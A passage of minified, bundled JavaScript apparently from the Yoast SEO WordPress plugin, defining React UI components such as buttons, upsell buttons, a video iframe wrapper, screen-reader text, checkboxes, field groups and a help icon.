236l-37-116.2h-41l54.4,139.8a57.54,57.54,0,0,1,0,41.8C111.2,315.6,101.3,332.3,74.4,337.3Z",fill:"#fff"}),n.default.createElement("circle",{cx:"368.33",cy:"124.68",r:"97.34",transform:"translate(19.72 296.97) rotate(-45)",fill:"#9fda4f"}),n.default.createElement("path",{d:"M416.2,39.93,320.46,209.44A97.34,97.34,0,1,0,416.2,39.93Z",fill:"#77b227"}),n.default.createElement("path",{d:"M294.78,254.75h0l-.15-.08-.13-.07h0a63.6,63.6,0,0,0-62.56,110.76h0l.07,0,.06,0h0a63.6,63.6,0,0,0,62.71-110.67Z",fill:"#fec228"}),n.default.createElement("path",{d:"M294.5,254.59,231.94,365.35A63.6,63.6,0,1,0,294.5,254.59Z",fill:"#f49a00"}),n.default.createElement("path",{d:"M222.31,450.07A38.16,38.16,0,0,0,203,416.83h0l0,0h0a38.18,38.18,0,1,0,19.41,33.27Z",fill:"#ff4e47"}),n.default.createElement("path",{d:"M202.9,416.8l-37.54,66.48A38.17,38.17,0,0,0,202.9,416.8Z",fill:"#ed261f"}))},72768:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=u;var o=s(r(99196)),n=s(r(85890)),a=s(r(98487)),l=s(r(77844));function s(e){return e&&e.__esModule?e:{default:e}}const i=a.default.div`
	position: relative;
	padding-bottom: 56.25%; /* 16:9 */
	height: 0;
	overflow: hidden;

	iframe {
		position: absolute;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
	}
`;function u(e){return o.default.createElement(i,null,o.default.createElement(l.default,e))}u.propTypes={width:n.default.number,height:n.default.number,src:n.default.string.isRequired,title:n.default.string.isRequired,frameBorder:n.default.number,allowFullScreen:n.default.bool},u.defaultProps={width:560,height:315,frameBorder:0,allowFullScreen:!0}},76916:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=l(r(99196)),n=l(r(85890)),a=l(r(43905));function l(e){return e&&e.__esModule?e:{default:e}}class s extends o.default.Component{constructor(){super(),this.focus=this.focus.bind(this),this.blur=this.blur.bind(this),this.state={focused:!1}}focus(){this.setState({focused:!0})}blur(){this.setState({focused:!1})}getStyles(){return!0===this.state.focused?a.default.ScreenReaderText.focused:a.default.ScreenReaderText.default}render(){return o.default.createElement("a",{href:"#"+this.props.anchor,className:"screen-reader-shortcut",style:this.getStyles(),onFocus:this.focus,onBlur:this.blur},this.props.children)}}s.propTypes={anchor:n.default.string.isRequired,children:n.default.string.isRequired},t.default=s},42479:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=l(r(99196)),n=l(r(85890)),a=l(r(43905));function l(e){return e&&e.__esModule?e:{default:e}}const s=e=>o.default.createElement("span",{className:"screen-reader-text",style:a.default.ScreenReaderText.default},e.children);s.propTypes={children:n.default.string.isRequired},t.default=s},43905:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default={ScreenReaderText:{default:{clip:"rect(1px, 1px, 1px, 1px)",position:"absolute",height:"1px",width:"1px",overflow:"hidden"},focused:{clip:"auto",display:"block",left:"5px",top:"5px",height:"auto",width:"auto",zIndex:"100000",position:"absolute",backgroundColor:"#eeeeee ",padding:"10px"}}}},75377:(e,t,r)=>{"use strict";r(89364),r(26242),r(91370),r(68798),r(16798)},41834:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o,n=(o=r(99196))&&o.__esModule?o:{default:o},a=r(65736);t.default=()=>n.default.createElement("span",{className:"yoast-badge yoast-beta-badge"},(0,a.__)("Beta","wordpress-seo"))},40815:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"BetaBadge",{enumerable:!0,get:function(){return n.default}}),r(15446),r(54760);var o,n=(o=r(41834))&&o.__esModule?o:{default:o}},22490:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.ButtonStyledLink=t.Button=void 0;var o=a(r(99196)),n=a(r(85890));function a(e){return e&&e.__esModule?e:{default:e}}function l(){return l=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},l.apply(this,arguments)}r(40367);const s="yoast-button yoast-button--",i={buy:{iconAfter:"yoast-button--buy__caret"},edit:{iconBefore:"yoast-button--edit"},upsell:{iconAfter:"yoast-button--buy__caret"}},u={primary:s+"primary",secondary:s+"secondary",buy:s+"buy",hide:"yoast-hide",remove:"yoast-remove",upsell:s+"buy",purple:s+"primary",grey:s+"secondary",yellow:s+"buy",edit:s+"primary"},d=(e,t)=>{let r=u[e];return t&&(r+=" yoast-button--small"),r},c=e=>i[e]||null,f=e=>{const{children:t,className:r,variant:n,small:a,type:s,buttonRef:i,...u}=e,f=c(n),p=f&&f.iconBefore,h=f&&f.iconAfter;return o.default.createElement("button",l({ref:i,className:r||d(n,a),type:s},u),!!p&&o.default.createElement("span",{className:p}),t,!!h&&o.default.createElement("span",{className:h}))};t.Button=f,f.propTypes={onClick:n.default.func,type:n.default.string,className:n.default.string,buttonRef:n.default.object,small:n.default.bool,variant:n.default.oneOf(Object.keys(u)),children:n.default.oneOfType([n.default.node,n.default.arrayOf(n.default.node)])},f.defaultProps={className:"",type:"button",variant:"primary",small:!1,children:null,onClick:null,buttonRef:null};const p=e=>{const{children:t,className:r,variant:n,small:a,buttonRef:s,...i}=e,u=c(n),f=u&&u.iconBefore,p=u&&u.iconAfter;return o.default.createElement("a",l({className:r||d(n,a),ref:s},i),!!f&&o.default.createElement("span",{className:f}),t,!!p&&o.default.createElement("span",{className:p}))};t.ButtonStyledLink=p,p.propTypes={href:n.default.string.isRequired,variant:n.default.oneOf(Object.keys(u)),small:n.default.bool,className:n.default.string,buttonRef:n.default.object,children:n.default.oneOfType([n.default.node,n.default.arrayOf(n.default.node)])},p.defaultProps={className:"",variant:"primary",small:!1,children:null,buttonRef:null}},13537:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.CloseButton=void 0;var o=l(r(99196)),n=l(r(85890));r(40367);var a=r(65736);function l(e){return e&&e.__esModule?e:{default:e}}function s(){return s=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},s.apply(this,arguments)}const i=o.default.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 352 512",role:"img","aria-hidden":"true",focusable:"false"},o.default.createElement("path",{d:"M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z"})),u=e=>o.default.createElement("button",s({className:"yoast-close","aria-label":(0,a.__)("Close","wordpress-seo"),type:"button"},e),i);t.CloseButton=u,u.propTypes={onClick:n.default.func.isRequired}},76149:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"ButtonStyledLink",{enumerable:!0,get:function(){return o.ButtonStyledLink}}),Object.defineProperty(t,"CloseButton",{enumerable:!0,get:function(){return n.CloseButton}}),Object.defineProperty(t,"NewButton",{enumerable:!0,get:function(){return o.Button}}),r(40367);var o=r(22490),n=r(13537)},46362:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.BaseButton=void 0,t.addActiveStyle=h,t.addBaseStyle=c,t.addButtonStyles=void 0,t.addFocusStyle=f,t.addHoverStyle=p,t.default=void 0;var o=i(r(98487)),n=i(r(57349)),a=i(r(85890)),l=r(37188),s=r(23695);function i(e){return e&&e.__esModule?e:{default:e}}const u={minHeight:32,verticalPadding:4,borderWidth:1},d=u.minHeight-2*u.verticalPadding-2*u.borderWidth;function c(e){return(0,o.default)(e)`
		display: inline-flex;
		align-items: center;
		justify-content: center;
		vertical-align: middle;
		border-width: ${`${u.borderWidth}px`};
		border-style: solid;
		margin: 0;
		padding: ${`${u.verticalPadding}px`} 10px;
		border-radius: 3px;
		cursor: pointer;
		box-sizing: border-box;
		font-size: inherit;
		font-family: inherit;
		font-weight: inherit;
		text-align: ${(0,s.getDirectionalStyle)("left","right")};
		overflow: visible;
		min-height: ${`${u.minHeight}px`};
		transition: var(--yoast-transition-default);

		svg {
			// Safari 10
			align-self: center;
		}

		// Only needed for IE 10+. Don't add spaces within brackets for this to work.
		@media all and (-ms-high-contrast: none), (-ms-high-contrast: active) {
			::after {
				display: inline-block;
				content: "";
				min-height: ${`${d}px`};
			}
		}
	`}function f(e){return(0,o.default)(e)`
		&::-moz-focus-inner {
			border-width: 0;
		}

		&:focus {
			outline: none;
			border-color: ${e=>e.focusBorderColor};
			color: ${e=>e.focusColor};
			background-color: ${e=>e.focusBackgroundColor};
			box-shadow: 0 0 3px ${e=>(0,l.rgba)(e.focusBoxShadowColor,.8)}
		}
	`}function p(e){return(0,o.default)(e)`
		&:hover {
			color: ${e=>e.hoverColor};
			background-color: ${e=>e.hoverBackgroundColor};
			border-color: var(--yoast-color-border--default);
		}
	`}function h(e){return(0,o.default)(e)`
		&:active {
			color: ${e=>e.activeColor};
			background-color: ${e=>e.activeBackgroundColor};
			border-color: ${e=>e.hoverBorderColor};
			box-shadow: inset 0 2px 5px -3px ${e=>(0,l.rgba)(e.activeBorderColor,.5)}
		}
	`}const b=t.addButtonStyles=(0,n.default)([h,f,p,c]),g=t.BaseButton=b(o.default.button`
		color: ${e=>e.textColor};
		border-color: ${e=>e.borderColor};
		background: ${e=>e.backgroundColor};
		box-shadow: 0 1px 0 ${e=>(0,l.rgba)(e.boxShadowColor,1)};
	`);g.propTypes={type:a.default.string,backgroundColor:a.default.string,textColor:a.default.string,borderColor:a.default.string,boxShadowColor:a.default.string,hoverColor:a.default.string,hoverBackgroundColor:a.default.string,activeColor:a.default.string,activeBackgroundColor:a.default.string,activeBorderColor:a.default.string,focusColor:a.default.string,focusBackgroundColor:a.default.string,focusBorderColor:a.default.string,focusBoxShadowColor:a.default.string},g.defaultProps={type:"button",backgroundColor:l.colors.$color_button,textColor:l.colors.$color_button_text,borderColor:l.colors.$color_button_border,boxShadowColor:l.colors.$color_button_border,hoverColor:l.colors.$color_button_text_hover,hoverBackgroundColor:l.colors.$color_button_hover,activeColor:l.colors.$color_button_text_hover,activeBackgroundColor:l.colors.$color_button,activeBorderColor:l.colors.$color_button_border_active,focusColor:l.colors.$color_button_text_hover,focusBackgroundColor:l.colors.$color_white,focusBorderColor:l.colors.$color_blue,focusBoxShadowColor:l.colors.$color_blue_dark},t.default=g},4532:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=d(r(99196)),n=d(r(85890)),a=d(r(98487)),l=d(r(16653)),s=r(23695),i=d(r(46362)),u=r(95235);function d(e){return e&&e.__esModule?e:{default:e}}const c=e=>{const{children:t,icon:r,iconColor:n}=e;let d=u.SvgIcon;t&&(d=function(e){return(0,a.default)(e)`
		margin: ${(0,s.getDirectionalStyle)("0 8px 0 0","0 0 0 8px")};
		flex-shrink: 0;
	`}(d));const c=(0,l.default)(e,"icon");return o.default.createElement(i.default,c,o.default.createElement(d,{icon:r,color:n}),t)};c.propTypes={icon:n.default.string.isRequired,iconColor:n.default.string,children:n.default.oneOfType([n.default.arrayOf(n.default.node),n.default.node,n.default.string])},c.defaultProps={iconColor:"#000"},t.default=c},3234:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=c(r(99196)),n=c(r(98487)),a=c(r(85890)),l=c(r(57349)),s=c(r(16653)),i=r(37188),u=c(r(78386)),d=r(46362);function c(e){return e&&e.__esModule?e:{default:e}}const f=(0,l.default)([d.addActiveStyle,d.addFocusStyle,d.addHoverStyle])(n.default.button`
		display: inline-flex;
		flex-direction: column;
		justify-content: center;
		align-items: center;
		cursor: pointer;
		box-sizing: border-box;
		border: 1px solid transparent;
		margin: 0;
		padding: 8px;
		overflow: visible;
		font-family: inherit;
		font-weight: inherit;
		color: ${e=>e.textColor};
		background: ${e=>e.backgroundColor};
		font-size: ${e=>e.textFontSize};

		svg {
			margin: 0 0 8px;
			flex-shrink: 0;
			fill: currentColor;
			// Safari 10
			align-self: center;
		}

		&:active {
			box-shadow: none;
		}
	`),p=e=>{const{children:t,icon:r,textColor:n}=e,a=(0,s.default)(e,"icon");return o.default.createElement(f,a,o.default.createElement(u.default,{icon:r,color:n}),t)};p.propTypes={type:a.default.string,icon:a.default.string.isRequired,textColor:a.default.string,textFontSize:a.default.string,backgroundColor:a.default.string,borderColor:a.default.string,hoverColor:a.default.string,hoverBackgroundColor:a.default.string,hoverBorderColor:a.default.string,activeColor:a.default.string,activeBackgroundColor:a.default.string,activeBorderColor:a.default.string,focusColor:a.default.string,focusBackgroundColor:a.default.string,focusBorderColor:a.default.string,focusBoxShadowColor:a.default.string,children:a.default.oneOfType([a.default.arrayOf(a.default.node),a.default.node,a.default.string]).isRequired},p.defaultProps={type:"button",textColor:i.colors.$color_blue,textFontSize:"inherit",backgroundColor:"transparent",borderColor:"transparent",hoverColor:i.colors.$color_white,hoverBackgroundColor:i.colors.$color_blue,hoverBorderColor:i.colors.$color_button_border_hover,activeColor:i.colors.$color_white,activeBackgroundColor:i.colors.$color_blue,activeBorderColor:i.colors.$color_button_border_active,focusColor:i.colors.$color_white,focusBackgroundColor:i.colors.$color_blue,focusBorderColor:i.colors.$color_blue,focusBoxShadowColor:i.colors.$color_blue_dark},t.default=p},71875:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(r(99196)),n=s(r(85890)),a=s(r(46362)),l=r(95235);function s(e){return e&&e.__esModule?e:{default:e}}function i(){return i=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},i.apply(this,arguments)}const u=e=>{const{children:t,className:r,prefixIcon:n,suffixIcon:s,...u}=e;return o.default.createElement(a.default,i({className:r},u),n&&n.icon&&o.default.createElement(l.SvgIcon,{icon:n.icon,color:n.color,size:n.size}),t,s&&s.icon&&o.default.createElement(l.SvgIcon,{icon:s.icon,color:s.color,size:s.size}))};u.propTypes={className:n.default.string,prefixIcon:n.default.shape({icon:n.default.string,color:n.default.string,size:n.default.string}),suffixIcon:n.default.shape({icon:n.default.string,color:n.default.string,size:n.default.string}),children:n.default.oneOfType([n.default.arrayOf(n.default.node),n.default.node,n.default.string])},t.default=u},16785:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.LinkButton=void 0;var o=s(r(98487)),n=s(r(85890)),a=r(37188),l=r(46362);function s(e){return e&&e.__esModule?e:{default:e}}const i=t.LinkButton=(0,l.addButtonStyles)(o.default.a`
		text-decoration: none;
		color: ${e=>e.textColor};
		border-color: ${e=>e.borderColor};
		background: ${e=>e.backgroundColor};
		box-shadow: 0 1px 0 ${e=>(0,a.rgba)(e.boxShadowColor,1)};
	`);i.propTypes={backgroundColor:n.default.string,textColor:n.default.string,borderColor:n.default.string,boxShadowColor:n.default.string,hoverColor:n.default.string,hoverBackgroundColor:n.default.string,hoverBorderColor:n.default.string,activeColor:n.default.string,activeBackgroundColor:n.default.string,activeBorderColor:n.default.string,focusColor:n.default.string,focusBackgroundColor:n.default.string,focusBorderColor:n.default.string,focusBoxShadowColor:n.default.string},i.defaultProps={backgroundColor:a.colors.$color_button,textColor:a.colors.$color_button_text,borderColor:a.colors.$color_button_border,boxShadowColor:a.colors.$color_button_border,hoverColor:a.colors.$color_button_text_hover,hoverBackgroundColor:a.colors.$color_button_hover,hoverBorderColor:a.colors.$color_button_border_hover,activeColor:a.colors.$color_button_text_hover,activeBackgroundColor:a.colors.$color_button,activeBorderColor:a.colors.$color_button_border_hover,focusColor:a.colors.$color_button_text_hover,focusBackgroundColor:a.colors.$color_white,focusBorderColor:a.colors.$color_blue,focusBoxShadowColor:a.colors.$color_blue_dark}},60813:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UpsellButtonBase=t.UpsellButton=void 0,t.addButtonStyles=p;var o=u(r(99196)),n=u(r(85890)),a=u(r(98487)),l=r(37188),s=u(r(78386)),i=r(83908);function u(e){return e&&e.__esModule?e:{default:e}}const d={minHeight:48,verticalPadding:8,borderWidth:0},c=d.minHeight-2*d.verticalPadding-2*d.borderWidth,f=(0,a.default)(s.default)`
		margin: 2px 4px 0 4px;
		flex-shrink: 0;
`;function p(e){return(0,a.default)(e)`
		display: inline-flex;
		align-items: center;
		justify-content: center;
		vertical-align: middle;
		min-height: ${`${d.minHeight}px`};
		margin: 0;
		overflow: auto;
		min-width: 152px;
		padding: 0 16px;
		padding: ${`${d.verticalPadding}px`} 8px ${`${d.verticalPadding}px`} 16px;
		border: 0;
		border-radius: 4px;
		box-sizing: border-box;
		font: 400 16px/24px "Open Sans", sans-serif;
		box-shadow: inset 0 -4px 0 rgba(0, 0, 0, 0.2);
		filter: drop-shadow(0 2px 4px rgba(0, 0, 0, 0.2));
		transition: box-shadow 150ms ease-out;

		&:hover,
		&:focus,
		&:active {
			background: ${l.colors.$color_button_upsell_hover};
		}

		&:active {
			transform: translateY( 1px );
			box-shadow: none;
			filter: none;
		}

		// Only needed for IE 10+. Don't add spaces within brackets for this to work.
		@media all and (-ms-high-contrast: none), (-ms-high-contrast: active) {
			::after {
				display: inline-block;
				content: "";
				min-height: ${`${c}px`};
			}
		}
	`}const h=t.UpsellButtonBase=p((0,a.default)(i.YoastButtonBase)`
		color: ${e=>e.textColor};
		background: ${e=>e.backgroundColor};
		overflow: visible;
		cursor: pointer;

		&::-moz-focus-inner {
			border-width: 0;
		}

		// Only needed for Safari 10 and only for buttons.
		span {
			display: inherit;
			align-items: inherit;
			justify-content: inherit;
			width: 100%;
		}
	`);h.propTypes={backgroundColor:n.default.string,hoverColor:n.default.string,textColor:n.default.string},h.defaultProps={backgroundColor:l.colors.$color_button_upsell,hoverColor:l.colors.$color_button_hover_upsell,textColor:l.colors.$color_black};const b=e=>{const{children:t}=e;return o.default.createElement(h,e,t,o.default.createElement(f,{icon:"caret-right",color:l.colors.$color_black,size:"16px"}))};t.UpsellButton=b,b.propTypes={backgroundColor:n.default.string,hoverColor:n.default.string,textColor:n.default.string,children:n.default.oneOfType([n.default.arrayOf(n.default.node),n.default.node])}},71732:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UpsellLinkButton=void 0;var o,n=(o=r(98487))&&o.__esModule?o:{default:o},a=r(37188);t.UpsellLinkButton=n.default.a`
	align-items: center;
	justify-content: center;
	vertical-align: middle;
	color: ${a.colors.$color_black};
	white-space: nowrap;
	display: inline-flex;
	border-radius: 4px;
	background-color: ${a.colors.$color_button_upsell};
	padding: 4px 8px 8px;
	box-shadow: inset 0 -4px 0 rgba(0, 0, 0, 0.2);
	border: none;
	text-decoration: none;
	font-size: inherit;

	&:hover,
	&:focus,
	&:active {
		color: ${a.colors.$color_black};
		background: ${a.colors.$color_button_upsell_hover};
	}

	&:active {
		background-color: ${a.colors.$color_button_hover_upsell};
		transform: translateY( 1px );
		box-shadow: none;
		filter: none;
	}
`},83908:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.YoastButtonBase=t.YoastButton=void 0,t.addButtonStyles=d;var o=s(r(99196)),n=s(r(85890)),a=s(r(98487)),l=r(37188);function s(e){return e&&e.__esModule?e:{default:e}}const i={minHeight:48,verticalPadding:0,borderWidth:0},u=i.minHeight-2*i.verticalPadding-2*i.borderWidth;function d(e){return(0,a.default)(e)`
		display: inline-flex;
		align-items: center;
		justify-content: center;
		vertical-align: middle;
		min-height: ${`${i.minHeight}px`};
		margin: 0;
		padding: 0 16px;
		padding: ${`${i.verticalPadding}px`} 16px;
		border: 0;
		border-radius: 4px;
		box-sizing: border-box;
		font: 400 14px/24px "Open Sans", sans-serif;
		text-transform: uppercase;
		box-shadow: 0 2px 8px 0 ${(0,l.rgba)(l.colors.$color_black,.3)};
		transition: box-shadow 150ms ease-out;

		&:hover,
		&:focus,
		&:active {
			box-shadow:
				0 4px 10px 0 ${(0,l.rgba)(l.colors.$color_black,.2)},
				inset 0 0 0 100px ${(0,l.rgba)(l.colors.$color_black,.1)};
			color: ${e=>e.textColor};
		}

		&:active {
			transform: translateY( 1px );
			box-shadow: none;
		}

		// Only needed for IE 10+. Don't add spaces within brackets for this to work.
		@media all and (-ms-high-contrast: none), (-ms-high-contrast: active) {
			::after {
				display: inline-block;
				content: "";
				min-height: ${`${u}px`};
			}
		}
	`}const c=({className:e,onClick:t,type:r,children:n,isExpanded:a})=>o.default.createElement("button",{className:e,onClick:t,type:r,"aria-expanded":a},o.default.createElement("span",null,n));t.YoastButtonBase=c,c.propTypes={className:n.default.string,onClick:n.default.func,type:n.default.string,isExpanded:n.default.bool,children:n.default.oneOfType([n.default.arrayOf(n.default.node),n.default.node,n.default.string])},c.defaultProps={type:"button"};const f=t.YoastButton=d((0,a.default)(c)`
		color: ${e=>e.textColor};
		background: ${e=>e.backgroundColor};
		min-width: 152px;
		${e=>e.withTextShadow?`text-shadow: 0 0 2px ${l.colors.$color_black}`:""};
		overflow: visible;
		cursor: pointer;

		&::-moz-focus-inner {
			border-width: 0;
		}

		// Only needed for Safari 10 and only for buttons.
		span {
			display: inherit;
			align-items: inherit;
			justify-content: inherit;
			width: 100%;
		}
	`);f.propTypes={backgroundColor:n.default.string,textColor:n.default.string,withTextShadow:n.default.bool},f.defaultProps={backgroundColor:l.colors.$color_green_medium_light,textColor:l.colors.$color_white,withTextShadow:!0}},78892:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.YoastLinkButton=void 0;var o=s(r(85890)),n=s(r(98487)),a=r(37188),l=r(83908);function s(e){return e&&e.__esModule?e:{default:e}}const i=t.YoastLinkButton=(0,l.addButtonStyles)(n.default.a`
		text-decoration: none;
		color: ${e=>e.textColor};
		background: ${e=>e.backgroundColor};
		min-width: 152px;
		${e=>e.withTextShadow?`text-shadow: 0 0 2px ${a.colors.$color_black}`:""};
	`);i.propTypes={backgroundColor:o.default.string,textColor:o.default.string,withTextShadow:o.default.bool},i.defaultProps={backgroundColor:a.colors.$color_green_medium_light,textColor:a.colors.$color_white,withTextShadow:!0}},24764:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=i;var o,n=(o=r(85890))&&o.__esModule?o:{default:o},a=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=s(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=n?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}(r(99196)),l=r(36925);function s(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(s=function(e){return e?r:t})(e)}function i(e){const t=(0,a.useCallback)((t=>{e.onChange(t.target.value)}),[e.onChange]);return a.default.createElement(l.FieldGroup,{wrapperClassName:"yoast-field-group yoast-field-group__checkbox"},a.default.createElement("input",{type:"checkbox",id:e.id,checked:e.checked,onChange:t}),a.default.createElement("label",{htmlFor:e.id},e.label))}r(79520),i.propTypes={id:n.default.string.isRequired,label:n.default.oneOfType([n.default.string,n.default.arrayOf(n.default.node),n.default.node]).isRequired,checked:n.default.bool,onChange:n.default.func.isRequired},i.defaultProps={checked:!1}},16236:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"Checkbox",{enumerable:!0,get:function(){return n.default}}),r(79520);var o,n=(o=r(24764))&&o.__esModule?o:{default:o}},74643:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=l(r(99196)),n=l(r(85890)),a=r(65736);function l(e){return e&&e.__esModule?e:{default:e}}r(8436);const s={width:n.default.number.isRequired,name:n.default.string.isRequired,number:n.default.number.isRequired},i=e=>{
/* translators: Hidden accessibility text; %d expands to number of occurrences. */
const t=(0,a.sprintf)((0,a.__)("%d occurrences","wordpress-seo"),e.number);return o.default.createElement("li",{key:e.name+"_dataItem",style:{"--yoast-width":`${e.width}%`}},e.name,o.default.createElement("span",null,e.number),o.default.createElement("span",{className:"screen-reader-text"},t))};i.propTypes=s;const u=e=>o.default.createElement("ul",{className:"yoast-data-model","aria-label":(0,a.__)("Prominent words","wordpress-seo")},e.items.map(i));u.propTypes={items:n.default.arrayOf(n.default.shape(s))},u.defaultProps={items:[]},t.default=u},35957:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"DataModel",{enumerable:!0,get:function(){return n.default}}),r(8436);var o,n=(o=r(74643))&&o.__esModule?o:{default:o}},84084:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.FieldGroupProps=t.FieldGroupDefaultProps=void 0;var o=u(r(99196)),n=u(r(85890));r(86264);var a=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=i(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=n?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}(r(14764)),l=u(r(70610)),s=u(r(46708));function i(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(i=function(e){return e?r:t})(e)}function u(e){return e&&e.__esModule?e:{default:e}}const d=({htmlFor:e,label:t,linkTo:r,linkText:n,description:i,children:u,wrapperClassName:d,titleClassName:c,hasNewBadge:f,hasPremiumBadge:p})=>{const h=e?o.default.createElement("label",{htmlFor:e},t):o.default.createElement("b",null,t);return o.default.createElement("div",{className:d},""!==t&&o.default.createElement("div",{className:c},h,p&&o.default.createElement(s.default,{inLabel:!0}),f&&o.default.createElement(l.default,{inLabel:!0}),""!==r&&o.default.createElement(a.default,{linkTo:r,linkText:n})),""!==i&&o.default.createElement("p",{className:"field-group-description"},i),u)},c=t.FieldGroupProps={label:n.default.string,description:n.default.string,children:n.default.oneOfType([n.default.node,n.default.arrayOf(n.default.node)]),wrapperClassName:n.default.string,titleClassName:n.default.string,htmlFor:n.default.string,...a.helpIconProps},f=t.FieldGroupDefaultProps={label:"",description:"",children:[],wrapperClassName:"yoast-field-group",titleClassName:"yoast-field-group__title",htmlFor:"",...a.helpIconDefaultProps};d.propTypes=c,d.defaultProps=f,t.default=d},36925:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"FieldGroup",{enumerable:!0,get:function(){return n.default}}),r(86264);var o,n=(o=r(84084))&&o.__esModule?o:{default:o}},14764:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.helpIconProps=t.helpIconDefaultProps=t.default=void 0;var o=l(r(99196)),n=l(r(85890)),a=r(65736);function l(e){return e&&e.__esModule?e:{default:e}}r(14640);const s=t.helpIconProps={linkTo:n.default.string,linkText:n.default.string},i=t.helpIconDefaultProps={linkTo:"",linkText:""},u=({linkTo:e,linkText:t})=>o.default.createElement("a",{className:"yoast-help",target:"_blank",href:e,rel:"noopener noreferrer"},o.default.createElement("span",{className:"yoast-help__icon"},o.default.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 12 12",role:"img","aria-hidden":"true",focusable:"false"},o.default.createElement("path",{d:"M12 6A6 6 0 110 6a6 6 0 0112 0zM6.2 2C4.8 2 4 2.5 3.3 3.5l.1.4.8.7.4-.1c.5-.5.8-.9 1.4-.9.5 0 1.1.4 1.1.8s-.3.6-.7.9C5.8 5.6 5 6 5 7c0 .2.2.4.3.4h1.4L7 7c0-.8 2-.8 2-2.6C9 3 7.5 2 6.2 2zM6 8a1.1 1.1 0 100 2.2A1.1 1.1 0 006 8z"}))),o.default.createElement("span",{className:"screen-reader-text"},t),o.default.createElement("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
